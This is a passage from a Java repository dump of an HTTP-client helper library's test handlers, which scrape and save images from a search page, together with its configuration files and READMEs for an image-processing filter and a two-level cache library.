WSHttpTaskExecutor.getInstance().waitForFinish(Thread.currentThread());\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httphelper/request/handler/DownloadAllImageHandle.java",
    "content": "/*\n * Copyright (c) 2015-2016, AlexGao\n * http://git.oschina.net/wolfsmoke/WSHttpHelper\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *     http://www.apache.org/licenses/LICENSE-2.0\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.jun.plugin.httphelper.request.handler;\n\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport com.jun.plugin.httphelper.WSHttpHelperConstant;\nimport com.jun.plugin.httphelper.exception.WSException;\nimport com.jun.plugin.httphelper.http.WSHttpTaskExecutor;\nimport com.jun.plugin.httphelper.model.ResponseResult;\nimport com.jun.plugin.httphelper.model.WSRequestContext;\nimport com.jun.plugin.httphelper.request.WSHttpRequest;\nimport com.jun.plugin.httphelper.request.WSHttpRequestFactory;\nimport com.jun.plugin.httphelper.request.handler.ResponseProHandler;\n\n/**\n * Created by Administrator on 16-1-2.\n */\npublic class DownloadAllImageHandle implements ResponseProHandler {\n    @Override\n    public ResponseResult handler(WSRequestContext context, ResponseResult result) throws WSException {\n        String body = result.getBody(String.class);\n        // 提取下载图片正则表达式\n        String reg=\"\\\"objURL\\\":\\\"([^\\\"]*\\\\.jpg)\\\",\";\n        Pattern pattern = Pattern.compile(reg);\n        Matcher matcher = pattern.matcher(body);\n        String savePath= \"C:/testDownloadImage/\";\n        System.out.println(savePath);\n        int i=0;\n        while(matcher.find()){\n            String imageUrl=matcher.group(1);\n            WSHttpRequest request=WSHttpRequestFactory.getHttpRequest(\"saveImageRequest\");\n\n            request.getContext().addInputData(\"savePath\",savePath+i+\".jpg\");\n            request.getContext().addInputData(\"url\",imageUrl);\n            // 同步下载\n            //request.execute();\n            // 异步下载：多个下载请求同时进行\n            request.asyncExecute();\n\n            i++;\n        }\n        return result;\n    }\n\n    @Override\n    public int level() {\n        return WSHttpHelperConstant.PRO_HANDLER_USER;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/httphelper/request/handler/SaveImageHandle.java",
    "content": "/*\n * Copyright (c) 2015-2016, AlexGao\n * http://git.oschina.net/wolfsmoke/WSHttpHelper\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *     http://www.apache.org/licenses/LICENSE-2.0\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.jun.plugin.httphelper.request.handler;\n\nimport org.apache.commons.io.FileUtils;\n\nimport com.jun.plugin.httphelper.WSHttpHelperConstant;\nimport com.jun.plugin.httphelper.annotation.WSRequest;\nimport com.jun.plugin.httphelper.exception.WSException;\nimport com.jun.plugin.httphelper.model.ResponseResult;\nimport com.jun.plugin.httphelper.model.WSRequestContext;\nimport com.jun.plugin.httphelper.request.handler.ResponseProHandler;\n\nimport java.io.File;\nimport java.io.IOException;\n\n/**\n * Created by Administrator on 16-1-2.\n */\npublic class SaveImageHandle implements ResponseProHandler {\n\n    @Override\n    public ResponseResult handler(WSRequestContext context, ResponseResult result) throws WSException {\n        String savePath = String.valueOf(context.getInputDataMap().get(\"savePath\"));\n        System.out.println(\"正在下载:\" + savePath);\n\n        if(context.getResponseType()== WSRequest.ResponseType.BYTE_ARRAY){\n            File file = new File(savePath);\n            if(!file.getParentFile().exists()){\n                file.getParentFile().mkdirs();\n            }\n            byte[] body = (byte[])result.getBody();\n            try {\n                FileUtils.writeByteArrayToFile(file,body);\n            } catch (IOException e) {\n                new WSException(e.getMessage(),e);\n            }\n        }\n        return result;\n    }\n\n    @Override\n    public int level() {\n        return WSHttpHelperConstant.PRO_HANDLER_USER;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/okhttp/test/HttpClientTestCase.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp.test;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.UnsupportedEncodingException;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.okhttp.FastHttpClient;\nimport com.jun.plugin.okhttp.Response;\nimport com.jun.plugin.okhttp.callback.Callback;\nimport com.jun.plugin.okhttp.callback.DownloadFileCallback;\nimport com.jun.plugin.okhttp.callback.StringCallback;\nimport com.jun.plugin.okhttp.interceptor.DownloadFileInterceptor;\nimport com.jun.plugin.okhttp.util.FileUtil;\n\nimport junit.framework.TestCase;\nimport okhttp3.Call;\n\n/**\n *\n * @author Wujun\n *\n * /\npublic class HttpClientTestCase extends TestCase{\n\t//\n\tprivate static Logger logger=LoggerFactory.getLogger(HttpClientTestCase.class);\n\t//\n\tprivate static String url = \"http://localhost:7002/p/api/test\";\n\t//\n\tpublic void testGetSync() throws IOException{\n\t\tResponse response = FastHttpClient.get().url(\"http://sz.bendibao.com/news/2016923/781534.htm\").\n\t\t\t\taddParams(\"para1\", \"icecool\").\n\t\t\t\taddParams(\"para2\", \"111111\").\n\t\t\t\tbuild().\n\t\t\t\texecute();\n\t\tlogger.info(response.string(\"gb2312\"));//default is utf_8\n\t}\n\t//\n\tpublic void testPostSync() throws IOException{\n\t\tResponse response = FastHttpClient.post().url(url).\n\t\t\t\taddParams(\"para1\", \"123456\").\n\t\t\t\taddParams(\"para2\", \"测试\").\n\t\t\t\tbuild().\n\t\t\t\texecute();\n\t\tlogger.info(response.string());\n\t}\n\t//\n\tpublic void testGetAsync() throws InterruptedException{\n\t\tFastHttpClient.get().url(url).\n\t\taddParams(\"para1\", \"icecool\").\n\t\taddParams(\"para2\", \"111111\").\n\t\tbuild().\n\t\texecuteAsync(new StringCallback() {\n\t\t\t@Override\n\t\t\tpublic void onFailure(Call call, Exception e, int id) {\n\t\t\t\tlogger.error(e.getMessage(),e);\n\t\t\t}\n\t\t\t@Override\n\t\t\tpublic void onSuccess(Call call, String response, int id) {\n\t\t\t\tlogger.info(\"response:{}\",response);\n\t\t\t}\n\t\t});\n\t\tThread.sleep(50000);\n\t}\n\t//\n\tpublic void testPostAsync() throws InterruptedException{\n\t\tFastHttpClient.post().url(url).\n\t\taddParams(\"para1\", \"icecool\").\n\t\taddParams(\"para2\", \"测试中文\").\n\t\tbuild().\n\t\texecuteAsync(new Callback() {\n\t\t\t\t@Override\n\t\t\t\tpublic void onFailure(Call call, Exception e, int id) {\n\t\t\t\t\tlogger.error(e.getMessage(),e);\n\t\t\t\t}\n\t\t\t\t@Override\n\t\t\t\tpublic void onResponse(Call call, Response response, int id) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tlogger.info(response.string());\n\t\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t\tSystem.exit(0);\n\t\t\t\t}\n\t\t});\n\t\tThread.sleep(50000);\n\t}\n\t//\n\tpublic void testDownloadFile() throws InterruptedException{\n\t\tFastHttpClient.get().\n\t\turl(\"http://e.hiphotos.baidu.com/image/pic/item/faedab64034f78f0b31a05a671310a55b3191c55.jpg\").\n\t\tbuild().addNetworkInterceptor(new DownloadFileInterceptor(){\n\t\t\t@Override\n\t\t\tpublic void updateProgress(long downloadLenth, long totalLength, boolean isFinish) {\n\t\t\t\tlogger.info(\"updateProgress downloadLenth:\"+downloadLenth+\n\t\t\t\t\t\t\",totalLength:\"+totalLength+\",isFinish:\"+isFinish);\n\t\t\t}\n\t\t}).\n\t\texecuteAsync(new DownloadFileCallback(\"/tmp/tmp.jpg\") {//save file to /tmp/tmp.jpg\n\t\t\t\t@Override\n\t\t\t\tpublic void onFailure(Call call, Exception e, int id) {\n\t\t\t\t\tlogger.error(e.getMessage(),e);\n\t\t\t\t}\n\t\t\t\t@Override\n\t\t\t\tpublic void onSuccess(Call call, File file, int id) {\n\t\t\t\t\tlogger.info(\"filePath:\"+file.getAbsolutePath());\n\t\t\t\t}\n\t\t\t\t@Override\n\t\t\t\tpublic void onSuccess(Call call, InputStream fileStream, int id) {\n\t\t\t\t\tlogger.info(\"onSuccessWithInputStream\");\n\t\t\t\t}\n\t\t});\n\t\tThread.sleep(50000);\n\t}\n\t//\n\tpublic void testUploadFile() throws UnsupportedEncodingException, IOException{\n\t\tbyte[] imageContent=FileUtil.getBytes(\"/tmp/tmp.jpg\");\n\t\tResponse response = FastHttpClient.post().url(url).\n\t\t\t\taddFile(\"file1\", \"a.txt\", \"123\").\n\t\t\t\taddFile(\"file2\", \"b.jpg\", imageContent).\n\t\t\t\tbuild().connTimeOut(10000).\n\t\t\t\texecute();\n\t\tlogger.info(response.body().string());\n\t}\n\t//\n\tpublic void testHttpsGet() throws IOException{\n\t\tResponse response = FastHttpClient.get().url(\"https://kyfw.12306.cn/otn/\").\n\t\t\t\tbuild().\n\t\t\t\texecute();\n\t\tlogger.info(response.string());\n\t}\n\t//\n\tpublic void testHttpsPost() throws IOException{\n\t\tResponse response = FastHttpClient.post().url(\"https://kyfw.12306.cn/otn/\").\n\t\t\t\tbuild().\n\t\t\t\texecute();\n\t\tlogger.info(response.string());\n\t}\n\t//\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/okhttp/test/QQMapService.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp.test;\n\nimport java.io.IOException;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.okhttp.FastHttpClient;\nimport com.jun.plugin.okhttp.Response;\n\n/**\n * http://lbs.qq.com/webservice_v1/guide-gcoder.html\n * @author Wujun\n *\n * /\npublic class QQMapService {\n\t//\n\tstatic Logger logger=LoggerFactory.getLogger(QQMapService.class);\n\t//\n\tString key;\n\n\tpublic QQMapService() {\n\t\tkey=\"ZXRBZ-HX5KJ-M25F3-KZOTJ-BKHAQ-OABTC\";\n\t}\n\n\tpublic void searchLocation(String region,String keyword){\n\t\tString url=\"http://apis.map.qq.com/ws/place/v1/suggestion?keyword=\"+keyword+\n\t\t\t\t\"&key=\"+key;\n\t\ttry {\n\t\t\tResponse response=FastHttpClient.get().url(url).build().execute();\n\t\t\tif(!response.isSuccessful()){\n\t\t\t\tthrow new IllegalArgumentException(\"定位失败，请稍后再试\");\n\t\t\t}\n\t\t\tlogger.info(response.string());\n\t\t} catch (IOException e) {\n\t\t\tlogger.error(e.getMessage(),e);\n\t\t}\n\t}\n\t//\n\tpublic static void main(String[] args) {\n\t\tQQMapService service=new QQMapService();\n\t\tservice.searchLocation(null,\"深圳市南山区飞亚达大厦\");\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/java/com/jun/plugin/okhttp/test/URLUtil.java",
    "content": "// This file is commented out — OkHttp wrapper moved to jun_okhttp module.\n/*\npackage com.jun.plugin.okhttp.test;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.util.Map;\n\nimport javax.net.ssl.SSLContext;\n\nimport com.jun.plugin.okhttp.FastHttpClient;\nimport com.jun.plugin.okhttp.Response;\n\n\n/**\n *\n * @author Wujun\n *\n * /\npublic class URLUtil {\n\t//\n\tpublic static String httpGet(String url) throws Exception {\n\t\tResponse response = FastHttpClient.get().\n\t\t\t\turl(url).\n\t\t\t\tbuild().\n\t\t\t\texecute();\n\t\treturn response.body().string();\n\t}\n\t//\n\tpublic static String httpsGet(String url) throws Exception {\n\t\tResponse response = FastHttpClient.get().\n\t\t\t\turl(url).\n\t\t\t\tbuild().\n\t\t\t\texecute();\n\t\treturn response.body().string();\n\t}\n\t//\n\tpublic static String httpsGet(String url,SSLContext sslContext) throws Exception {\n\t\tResponse response = FastHttpClient.get().\n\t\t\t\turl(url).\n\t\t\t\tbuild().\n\t\t\t\tsslContext(sslContext).\n\t\t\t\texecute();\n\t\treturn response.body().string();\n\t}\n\t//\n\tpublic static String httpPost(String url,Map<String,String> paramMap) throws MalformedURLException, IOException{\n\t\tResponse response = FastHttpClient.post().\n\t\t\t\turl(url).\n\t\t\t\taddParams(paramMap).\n\t\t\t\tbuild().\n\t\t\t\texecute();\n\t\treturn response.body().string();\n\t}\n\t//\n\tpublic static String httpPostWithBody(String url,String body) throws MalformedURLException, IOException{\n\t\tResponse response = FastHttpClient.post().\n\t\t\t\turl(url).\n\t\t\t\tbody(body).\n\t\t\t\tbuild().\n\t\t\t\texecute();\n\t\treturn response.body().string();\n\t}\n\t//\n\tpublic static String httpsPost(String url) throws MalformedURLException, IOException{\n\t\treturn httpsPost(url, null, null);\n\t}\n\t//\n\tpublic static String httpsPost(String url,Map<String,String> paramMap) throws MalformedURLException, IOException{\n\t\treturn httpsPost(url, paramMap, null);\n\t}\n\t//\n\tpublic static String httpsPost(String url,Map<String,String> paramMap,SSLContext sslContext) throws MalformedURLException, IOException{\n\t\tResponse response = FastHttpClient.post().\n\t\t\t\turl(url).\n\t\t\t\taddParams(paramMap).\n\t\t\t\tbuild().\n\t\t\t\tsslContext(sslContext).\n\t\t\t\texecute();\n\t\treturn response.body().string();\n\t}\n\t//\n\tpublic static String httpsPostWithBody(String url,String body) throws MalformedURLException, IOException{\n\t\treturn httpsPostWithBody(url, body, null);\n\t}\n\t//\n\tpublic static String httpsPostWithBody(String url,String body,SSLContext sslContext) throws MalformedURLException, IOException{\n\t\tResponse response = FastHttpClient.post().\n\t\t\t\turl(url).\n\t\t\t\tbody(body).\n\t\t\t\tbuild().\n\t\t\t\tsslContext(sslContext).\n\t\t\t\texecute();\n\t\treturn response.body().string();\n\t}\n    //\n    public static void main(String[] args) throws Exception {\n\t\tSystem.out.println(URLUtil.httpGet(\"http://sz.bendibao.com/news/2016923/781534.htm\"));\n\t\tSystem.out.println(URLUtil.httpsGet(\"https://kyfw.12306.cn/otn/\"));\n\t\tSystem.out.println(URLUtil.httpsPost(\"https://skydu.cn\"));\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/resources/httphelper-config.dtd",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!-- httphelper-config.xml配置文件DTD，必须放在classpath下，可以指定请求的xml路径，请求xml文件名称可以自定义 -->\n<!ELEMENT httphelper-config (\n        httpclient-config?,\n        default-handlers?,\n        requests?,\n        request-xml?)\n>\n<!-- 请求客户端配置 -->\n<!ELEMENT httpclient-config (http?,pool?)>\n<!-- http请求默认编码，超时 -->\n<!ELEMENT http EMPTY>\n<!ATTLIST http\n        charset CDATA #IMPLIED\n        connection-timeout CDATA #IMPLIED\n        socket-timeout CDATA #IMPLIED\n>\n<!-- 请求线程池配置 -->\n<!ELEMENT pool EMPTY>\n<!ATTLIST pool\n        QueueCapacity CDATA #IMPLIED\n        CorePoolSize CDATA #IMPLIED\n        MaxPoolSize CDATA #IMPLIED\n        KeepAliveSeconds CDATA #IMPLIED\n>\n<!-- 全局默认处理器和用户自定义的处理器 -->\n<!ELEMENT default-handlers (pre?,pro?)>\n<!ELEMENT pre (handler+)>\n<!ELEMENT pro (handler+)>\n<!ELEMENT handler EMPTY>\n<!ATTLIST handler\n        clazz CDATA #REQUIRED\n        type (init|parameter|url|validation|parse|user) \"user\"\n        >\n\n\n<!-- 通过xml配置的请求，通过WSHttpRequestFactory根据id获取一个WSHttpRequest类型的实体 -->\n<!ELEMENT requests (request+)>\n<!ELEMENT request (parameters?,headers?,handlers?)>\n<!ATTLIST request\n        name CDATA #REQUIRED\n        url CDATA #REQUIRED\n        description CDATA #IMPLIED\n        response-type (TEXT|HTML|JSON|XML|BYTE_ARRAY) \"HTML\"\n        method (GET|POST|DELETE) \"GET\"\n        charset CDATA #IMPLIED\n        result-class CDATA #IMPLIED\n>\n<!-- 该请求自定义的处理器 -->\n<!ELEMENT handlers (pre?,pro?)>\n\n<!ELEMENT parameters (parameter+)>\n<!ELEMENT parameter EMPTY>\n<!ATTLIST parameter\n        name CDATA #REQUIRED\n        description CDATA #IMPLIED\n        defaultValue CDATA #IMPLIED\n        type (STRING|INT|LIST|FILE) \"STRING\"\n        required (true|false) \"false\"\n        example CDATA #IMPLIED\n        validateRegex CDATA #IMPLIED\n>\n\n<!ELEMENT headers (header+)>\n<!ELEMENT header EMPTY>\n<!ATTLIST header\n        name CDATA #REQUIRED\n        value CDATA #REQUIRED\n>\n\n<!-- 请求配置xml存放路径，可以指定到相对路径下-->\n<!ELEMENT request-xml (path+)>\n<!ELEMENT path EMPTY>\n<!ATTLIST path\n        value CDATA #REQUIRED\n>"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/resources/httphelper-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE httphelper-config SYSTEM \"httphelper-config.dtd\">\n<httphelper-config>\n    <httpclient-config>\n        <http charset=\"UTF-8\" connection-timeout=\"15000\" socket-timeout=\"15000\"/>\n        <pool QueueCapacity=\"150\" MaxPoolSize=\"100\" CorePoolSize=\"50\" KeepAliveSeconds=\"300\"/>\n    </httpclient-config>\n    <default-handlers>\n        <pre>\n            <handler type=\"init\" clazz=\"org.ws.httphelper.request.handler.impl.pre.DefaultInitHandlerImpl\"/>\n            <handler type=\"parameter\" clazz=\"org.ws.httphelper.request.handler.impl.pre.DefaultParameterBuliderHandlerImpl\"/>\n            <handler type=\"url\" clazz=\"org.ws.httphelper.request.handler.impl.pre.DefaultURLBuilderHandlerImpl\"/>\n            <handler type=\"validation\" clazz=\"org.ws.httphelper.request.handler.impl.pre.DefaultValidationHandlerImpl\"/>\n        </pre>\n        <pro>\n            <handler type=\"parse\" clazz=\"org.ws.httphelper.request.handler.impl.pro.DefaultResultParseHandlerImpl\"/>\n        </pro>\n    </default-handlers>\n    <requests>\n        <request name=\"test1\" url=\"http://news.baidu.com/\" charset=\"GBK\">\n\n        </request>\n    </requests>\n    <request-xml>\n        <path value=\"/test-request/**\"/>\n    </request-xml>\n</httphelper-config>"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/resources/log4j.properties",
    "content": "## log4j config\nlog4j.rootLogger=DEBUG,ROLLING_FILE,stdout\nlog4j.appender.stdout=org.apache.log4j.ConsoleAppender\nlog4j.appender.stdout.layout=org.apache.log4j.PatternLayout\nlog4j.appender.stdout.layout.ConversionPattern=%-d{HH\\:mm\\:ss} [%l] %m%n\n\nlog4j.appender.ROLLING_FILE=org.apache.log4j.RollingFileAppender\nlog4j.appender.ROLLING_FILE.File=../logs/icpc.log\nlog4j.appender.ROLLING_FILE.layout=org.apache.log4j.PatternLayout\nlog4j.appender.ROLLING_FILE.layout.ConversionPattern=%-d{yyyy-MM-dd HH\\:mm\\:ss} [%l] - [%p] %m%n\nlog4j.appender.ROLLING_FILE.MaxFileSize=10240KB\nlog4j.appender.ROLLING_FILE.MaxBackupIndex=5\n\nlog4j.category.org.apache=ERROR\nlog4j.category.org.ws.httphelper=DEBUG\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/resources/test-request/request1.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE httphelper-config SYSTEM \"httphelper-config.dtd\">\n<httphelper-config>\n    <requests>\n        <request name=\"downloadImage\" url=\"http://image.baidu.com/search/index\" charset=\"UTF-8\" response-type=\"HTML\">\n            <parameters>\n                <parameter name=\"tn\" defaultValue=\"baiduimage\"/>\n                <parameter name=\"word\" defaultValue=\"美女图片\"/>\n            </parameters>\n            <handlers>\n                <pro>\n                    <handler clazz=\"org.ws.httphelper.request.handler.DownloadAllImageHandle\"/>\n                </pro>\n            </handlers>\n        </request>\n        <request name=\"saveImageRequest\" url=\"{url}\" response-type=\"BYTE_ARRAY\">\n            <handlers>\n                <pro>\n                    <handler clazz=\"org.ws.httphelper.request.handler.SaveImageHandle\"/>\n                </pro>\n            </handlers>\n        </request>\n    </requests>\n</httphelper-config>"
  },
  {
    "path": "jun_java_plugins/jun_httpclient/src/test/resources/wshttphelper.config.properties",
    "content": "http.encod.charset=UTF-8\nhttp.connection.timeout=15000\nhttp.socket.timeout=15000\n\npool.QueueCapacity=150\npool.CorePoolSize=50\npool.MaxPoolSize=100\npool.KeepAliveSeconds=300\n\ndefault.handler.pre.init=org.ws.httphelper.request.handler.impl.pre.DefaultInitHandlerImpl\ndefault.handler.pre.parameter=org.ws.httphelper.request.handler.impl.pre.DefaultParameterBuliderHandlerImpl\ndefault.handler.pre.url=org.ws.httphelper.request.handler.impl.pre.DefaultURLBuilderHandlerImpl\ndefault.handler.pre.validation=org.ws.httphelper.request.handler.impl.pre.DefaultValidationHandlerImpl\n\ndefault.handler.pro.parse=org.ws.httphelper.request.handler.impl.pro.DefaultResultParseHandlerImpl\n"
  },
  {
    "path": "jun_java_plugins/jun_image/README.md",
    "content": "1. 它是什么？\n-----------------\n\t\t这是一个非常简单的图片处理的插件，可快速集成在你的web应用中。基于http对图片进行缩略大小、质量压缩、旋转、转换扩展类型、添加水印等常用操作。\n\t前台的图片尺寸发生变化的时候在前端修改url参数就好了，不用每次单独在后台去写一个尺寸常量，然后重新生成。\n2. 如何使用？\n-----------------\n\t\t预览缩略图\n\t\t\t服务器有一个abc.png的图片大小为1024x800，现在想要300x230的比例图\n\t\t\t\thttp://host:port/upload/abc.png?imageView/s/300x230 这个链接就ok了\n\t\t\t\t这里imageView是图片预览，后面的1是按大小缩放，300x230是缩放后的大小\n\t\t\t我想取一个512x400的图，就是原图的一半\n\t\t\t\thttp://host:port/upload/abc.png?imageView/p/50\n\t\t\t\t这里的2是按比例缩放，50是缩放为原图的50%\n\t\t下载缩略图\n\t\t\t只需把imageView改为imageDown即可\n\t\t查看图片信息\n\t\t\thttp://host:port/upload/abc.png?imageInfo\n\t\t旋转图片\n\t\t\thttp://host:port/upload/abc.png?imageView/r/180 这个链接就ok了\n\t\t添加水印\n\t\t\t待完成\n\t\t这里的参数顺序可以打乱的，imageView这个参数是请求显示还是下载（必须是第一个），后面的是处理图片参数（以键值对方式排列）\n\t\t…….\n\n3. 快速集成\n--------\n\t\t1. 在web.xml中加入即可\n\t\t<filter>\n\t\t\t<filter-name>image-plugin</filter-name>\n\t\t\t<filter-class>org.unique.plugin.image.ImageFilter</filter-class>\n\t\t</filter>\n\t\t\n\t\t<filter-mapping>\n\t\t\t<filter-name>image-plugin</filter-name>\n\t\t\t<url-pattern>/upload/*</url-pattern>\n\t\t</filter-mapping>\n\t\t\n\t\t然后，就没有然后了。。。\n4. 参数详解\n--------\n\t图片预览\n\t\thttp://xxxxx/abc.png?imageView/s/300x200/q/90\n\t\thttp://xxxxx/abc.png?imageView/缩放类型/类型参数/压缩图片比例/比例参数\n\t\t缩放类型：1按大小缩放  2按比例缩放\n\t\t类型参数：类型为1后面跟widthxheight（当前这个不是强制压缩的会根据图片宽高比缩放），类型为2后面跟1-100的比例\n\t\t压缩图片比例：对图片的质量要求不高可以在这里处理（非必须）\n\t\t比例参数：1-100比例\n\t图片下载参数和预览是一样的，imageView变成了imageDown，我没有考虑吧他变的很复杂做成可配置的，\n\t因为这个插件只支持单机环境，分布式的话考虑别的架构，它非常的轻小。\n\t\n\t图片旋转\n\t\thttp://xxxxx/abc.png?imageView/r/180\n\t\t将图片abc旋转180度预览，参考范围（0-360）可以是负数\n\t图片加水印\n\n整体参数\n--------\n\tr：旋转角度（单位 角度数字）\n\tq：图片质量（单位%）\n\tp：按比例缩放（单位%）\n\ts：按大小缩放（单位px）\t\n\tc：裁剪（单位px）\n\tf：转换图片格式（单位 图片格式）\n\n\t\n\t\n\t"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/README.md",
    "content": "#oschina-j2cache\n## 说明\n目前一级缓存用的是ehcache，二级使用redis；集群同步工具使用jgroups或redis pub sub；\n## 计划\n下一步会改为模块化工程，使用时按需加载；\n包括 :\n <ul>\n <li>一二级缓存自定义</li>\n <li>序列化工具自定义</li>\n </ul>\n\n## 使用说明\n在src/test/resources目录下有个spring-cache-test.xml文件，演示了在spring项目中如何使用oschina-j2cache；对于可以使用的配置项也有相应的文本注释\n<pre>\n* 属性说明：\n* useCluster                - 是否为集群，默认true\n* cacheBroadcast            - 集群模式下个节点数据同步的机制，可选择为：REDIS_PUBSUB/JGROUPS_MULTICAST\n* openSecondCache           - 是否启用二级缓存，默认false\n* cache_jgroup_conf_file    - 使用jgroups实现ehcache集群\n* cache_ehcache_conf_file   - 一级缓存ehcache配置文件\n* cache_redis_conf_file     - 二级缓存redis配置文件\n</pre>"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_j2cache</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<java.version>1.8</java.version>\n\n\t\t<junit.version>4.11</junit.version>\n\n\t\t<spring.version>4.2.3.RELEASE</spring.version>\n\t\t<jedis.verion>2.8.0</jedis.verion>\n\t\t<ehcache.version>2.10.0</ehcache.version>\n\t\t<jgroups.version>3.6.1.Final</jgroups.version>\n\t\t<commons-io.version>2.4</commons-io.version>\n\t\t<fst.version>2.43</fst.version>\n\t\t<snappy-java.version>1.1.2</snappy-java.version>\n\n\t\t<logback.version>1.1.2</logback.version>\n\t\t<slf4j-api.version>1.7.7</slf4j-api.version>\n\t</properties>\n\n\t<dependencies>\n\n\t\t<!-- Serializer start -->\n\t\t<dependency>\n\t\t\t<groupId>de.ruedigermoeller</groupId>\n\t\t\t<artifactId>fst</artifactId>\n\t\t\t<version>${fst.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.xerial.snappy</groupId>\n\t\t\t<artifactId>snappy-java</artifactId>\n\t\t\t<version>${snappy-java.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.jgroups</groupId>\n\t\t\t<artifactId>jgroups</artifactId>\n\t\t\t<version>${jgroups.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>redis.clients</groupId>\n\t\t\t<artifactId>jedis</artifactId>\n\t\t\t<version>${jedis.verion}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>net.sf.ehcache</groupId>\n\t\t\t<artifactId>ehcache</artifactId>\n\t\t\t<version>${ehcache.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-beans</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>commons-io</groupId>\n\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t<version>${commons-io.version}</version>\n\t\t</dependency>\n\n\t\t<!-- Logging start -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>${slf4j-api.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>ch.qos.logback</groupId>\n\t\t\t<artifactId>logback-classic</artifactId>\n\t\t\t<version>${logback.version}</version>\n\t\t</dependency>\n\t\t<!-- 代码直接调用log4j会被桥接到slf4j -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>log4j-over-slf4j</artifactId>\n\t\t\t<version>${slf4j-api.version}</version>\n\t\t\t<scope>runtime</scope>\n\t\t</dependency>\n\t\t<!-- 代码直接调用common-logging会被桥接到slf4j -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>jcl-over-slf4j</artifactId>\n\t\t\t<version>${slf4j-api.version}</version>\n\t\t\t<scope>runtime</scope>\n\t\t</dependency>\n\t\t<!-- 代码直接调用java.util.logging会被桥接到slf4j -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>jul-to-slf4j</artifactId>\n\t\t\t<version>${slf4j-api.version}</version>\n\t\t\t<scope>runtime</scope>\n\t\t</dependency>\n\t\t<!-- Logging end -->\n\n\t\t<!-- Test start 